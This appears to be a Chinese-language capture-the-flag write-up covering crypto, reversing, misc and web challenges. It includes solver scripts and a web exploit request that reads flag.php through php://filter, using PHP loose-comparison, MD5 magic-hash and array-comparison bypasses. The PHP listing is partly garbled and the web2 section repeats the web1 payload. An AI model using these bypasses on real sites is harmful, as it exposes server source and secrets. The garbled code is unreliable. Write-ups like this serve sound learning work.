CRYPTO
1.Keyed Caesar
key里字母在字母表中的数字就是偏移量
注意凯撒通常只针对二十六个字母
2.找找看
REVERSE
1.re1
3替换成e 4替换成a结束
flag = "{34sy_r3v3rs3}" flag=flag.replace("3","e").replace("4","a") print("SLsec" + flag)
2.re2
第一种方法
#include <stdio.h> #include <string.h> int main() { char str1[64] = "QJqcaypc]fcjjm{"; //char flag[64] = "SLsec{re_hello}"; int len = strlen(str1); for(int i=0;i<len;i++) { if ( str1[i] > 94 && str1[i] <= 96 || str1[i] > 62 && str1[i] <= 64 ) { str1[i] -= 24; } else { str1[i] += 2; } printf("%c",str1[i]); } return 0; }
第二种方法是爆破
#include <stdio.h> #include <string.h> int main() { char Str1[16] = "QJqcaypc]fcjjm{"; char flag[16] = ""; int i,j = 0; for(i=0;i<16;i++) { for(j=65;j<126;j++) { flag[i] = j; if ( flag[i] > 96 && flag[i] <= 98 || flag[i] > 64 && flag[i] <= 66 ) { flag[i] += 24; } else { flag[i] -= 2; } if(flag[i] == Str1[i]) { printf("%c",j); } } } return 0; }
3.re3
主函数啥都没有,在函数列表发现了名为ques的可疑函数,经过调试程序并没有执行这个函数,思路是修改EIP即可
ques函数地址00401520
修改之后按F9执行就可
HACKIT4FUN
MISC
1.神奇的二维码
with open('hex.txt', 'r') as h: h = h.read() with open('./ascii.txt', 'a') as a: for i in range(0, len(h), 2): tmp = '0x'+h[i]+h[i+1] tmp = int(tmp, base=16) if chr(tmp) != '(' and chr(tmp) != ')': a.write(chr(tmp)) import matplotlib.pyplot as plt import numpy as np x, y = np.loadtxt('./ascii.txt', delimiter=',', unpack=True) plt.plot(x, y, '.') plt.show()
010打开图片发现很多16进制数据,提取出来转化为字符串就是坐标,再利用坐标画个二维码就可
第二种方法更简单,在linux利用gnuplot插件就能画图
2.re4
明文爆破压缩包
随后用IDA打开看主函数
int __cdecl main(int argc, const char **argv, const char **envp) { FILE *stream; // ST08_8 signed int i; // [rsp+4h] [rbp-2Ch] char ptr[24]; // [rsp+10h] [rbp-20h] unsigned __int64 v7; // [rsp+28h] [rbp-8h] v7 = __readfsqword(40u); stream = fopen("flag", "r"); fread(ptr, 1uLL, 20uLL, stream); fclose(stream); for ( i = 1; i <= 19; ++i ) { if ( i & 1 ) printf("%ld\n", (unsigned int)(ptr[i] << i)); else printf("%ld\n", (unsigned int)(i * ptr[i])); } return 0; }
没什么加密,顺着逆一下就出了
脚本
#include <stdio.h> #include <string.h> int main() { int arr[20] = { 0, 198,232,816,200,1536,300,6144,984,51200,570,92160,1200,565248,756,1474560,800,6291456,1782,65536000}; //a[0]补0保证正常循环 char c; for ( int i = 1; i <= 19; i++) { if ((i & 1)) c = (arr[i] >> i); else c = (arr[i] / i); putchar(c); } return 0;
3.小狗玩偶
flag总共两部分,16进制文本里能看到一部分,另一部分在LSB隐写
4.zip
有密码尝试一下确定不是伪加密,爆破4到7为纯数字成功,打开压缩包是一串编码,16进制解一下就是flag
WEB
1.web1
<?PHP
show_source(FILE);
ini_set("allow_url_include","on");
error_reporting(0);
$file=$_GET['file'];
$q=$_GET['q'];
$a = $GET['a'];
$b = $_GET['b'];
$c = $_POST['c'];
$v = $_POST['v'];
if($q==1 && $q+1 !== 2){ #q==弱比较,不同格式会先转换成同类型再比较,q!+1!==2是强比较必须类型数值完全相同科学计数法绕过即可
if($a != $b && md5($a) == md5($b)){#md5绕过
让其加密后oe开头即可,问你知道为什么马?
if($POST['c']!==$POST['v']&&md5($POST['c'])===md5($POST['v'])){ 强比较若: 假===假 => 真c[]=1&v[]=2
if(isset($file)){使用php伪协议读取flag.php即可
echo 'flag flag.php涓 ';
}else{
echo "file";
}
}
}
}
include_once($file);
?>
GET: /?q=0.1e1&a=QNKCDZO&b=s155964671a&file=php://filter/convert.base64-encode/resource=flag.php
POST : c[]=2&v[]=3
2.web2
首先随便上传一个文件看看提示
规定了上传的文件名
上传内容要有givemeflag,直接再bp加
?>
GET: /?q=0.1e1&a=QNKCDZO&b=s155964671a&file=php://filter/convert.base64-encode/resource=flag.php
POST : c[]=2&v[]=3